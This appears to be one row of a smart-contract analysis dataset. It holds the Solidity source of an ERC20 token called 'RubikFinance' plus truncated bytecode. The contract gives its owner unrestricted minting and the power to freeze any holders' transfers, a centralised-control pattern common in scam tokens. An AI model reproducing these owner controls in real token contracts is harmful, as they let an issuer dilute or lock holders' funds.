Unnamed: 0
int64
0
60k
address
stringlengths
42
42
source_code
stringlengths
52
864k
bytecode
stringlengths
2
49.2k
slither
stringlengths
47
956
success
bool
1 class
error
float64
results
stringlengths
2
911
input_ids
sequencelengths
128
128
attention_mask
sequencelengths
128
128
59,000
0x960a223f27b474de35f05b27210cc62cf7bdb1eb
/** *Submitted for verification at Etherscan.io on 2020-11-15 */ /** *Submitted for verification at Etherscan.io on 2020-11-05 */ /** *Submitted for verification at Etherscan.io on 2020-11-03 */ pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; // using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => bool) public frozen; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function freeze(address[] memory account) public onlyOwner returns (bool) { for(uint256 i = 0; i < account.length; i++) frozen[account[i]] = true; } function unfreeze(address account) public onlyOwner returns (bool) { frozen[account] = false; } function mint(address account, uint256 amount) public onlyOwner returns (bool) { _mint(account, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(!frozen[sender], "frozen"); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) internal virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } contract RubikFinance is ERC20, ERC20Burnable { constructor(string memory _name, string memory _symbol, uint256 totalSupply) public ERC20(_name, _symbol) { _mint(msg.sender, totalSupply); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806345c8b1a6116100ad578063a457c2d711610071578063a457c2d714610607578063a9059cbb1461066b578063d0516650146106cf578063dd62ed3e14610729578063f2fde38b146107a157610121565b806345c8b1a61461049457806370a08231146104ee578063715018a6146105465780638da5cb5b1461055057806395d89b411461058457610121565b806323b872dd116100f457806323b872dd146102f9578063313ce5671461037d578063395093511461039e57806340c10f191461040257806342966c681461046657610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020d5780631d38fcda1461022b575b600080fd5b61012e6107e5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610887565b60405180821515815260200191505060405180910390f35b6102156108a5565b6040518082815260200191505060405180910390f35b6102e16004803603602081101561024157600080fd5b810190808035906020019064010000000081111561025e57600080fd5b82018360208201111561027057600080fd5b8035906020019184602083028401116401000000008311171561029257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506108af565b60405180821515815260200191505060405180910390f35b6103656004803603606081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a03565b60405180821515815260200191505060405180910390f35b610385610adc565b604051808260ff16815260200191505060405180910390f35b6103ea600480360360408110156103b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610af3565b60405180821515815260200191505060405180910390f35b61044e6004803603604081101561041857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba6565b60405180821515815260200191505060405180910390f35b6104926004803603602081101561047c57600080fd5b8101908080359060200190929190505050610c80565b005b6104d6600480360360208110156104aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c94565b60405180821515815260200191505060405180910390f35b6105306004803603602081101561050457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dbb565b6040518082815260200191505060405180910390f35b61054e610e04565b005b610558610f8a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61058c610fb3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105cc5780820151818401526020810190506105b1565b50505050905090810190601f1680156105f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106536004803603604081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611055565b60405180821515815260200191505060405180910390f35b6106b76004803603604081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611122565b60405180821515815260200191505060405180910390f35b610711600480360360208110156106e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611140565b60405180821515815260200191505060405180910390f35b61078b6004803603604081101561073f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611160565b6040518082815260200191505060405180910390f35b6107e3600480360360208110156107b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e7565b005b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561087d5780601f106108525761010080835404028352916020019161087d565b820191906000526020600020905b81548152906001019060200180831161086057829003601f168201915b5050505050905090565b600061089b610894611343565b848461134b565b6001905092915050565b6000600454905090565b60006108b9611343565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610979576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b82518110156109fd5760016002600085848151811061099757fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808060010191505061097c565b50919050565b6000610a10848484611542565b610ad184610a1c611343565b610acc85604051806060016040528060288152602001611f5c60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a82611343565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c79092919063ffffffff16565b61134b565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000610b9c610b00611343565b84610b978560036000610b11611343565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bb90919063ffffffff16565b61134b565b6001905092915050565b6000610bb0611343565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c70576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610c7a8383611987565b92915050565b610c91610c8b611343565b82611b50565b50565b6000610c9e611343565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e0c611343565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561104b5780601f106110205761010080835404028352916020019161104b565b820191906000526020600020905b81548152906001019060200180831161102e57829003601f168201915b5050505050905090565b6000611118611062611343565b8461111385604051806060016040528060258152602001611fee602591396003600061108c611343565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c79092919063ffffffff16565b61134b565b6001905092915050565b600061113661112f611343565b8484611542565b6001905092915050565b60026020528060005260406000206000915054906101000a900460ff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111ef611343565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6112b881611d16565b50565b600080828401905083811015611339576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611fca6024913960400191505060405180910390fd5b600073fffffff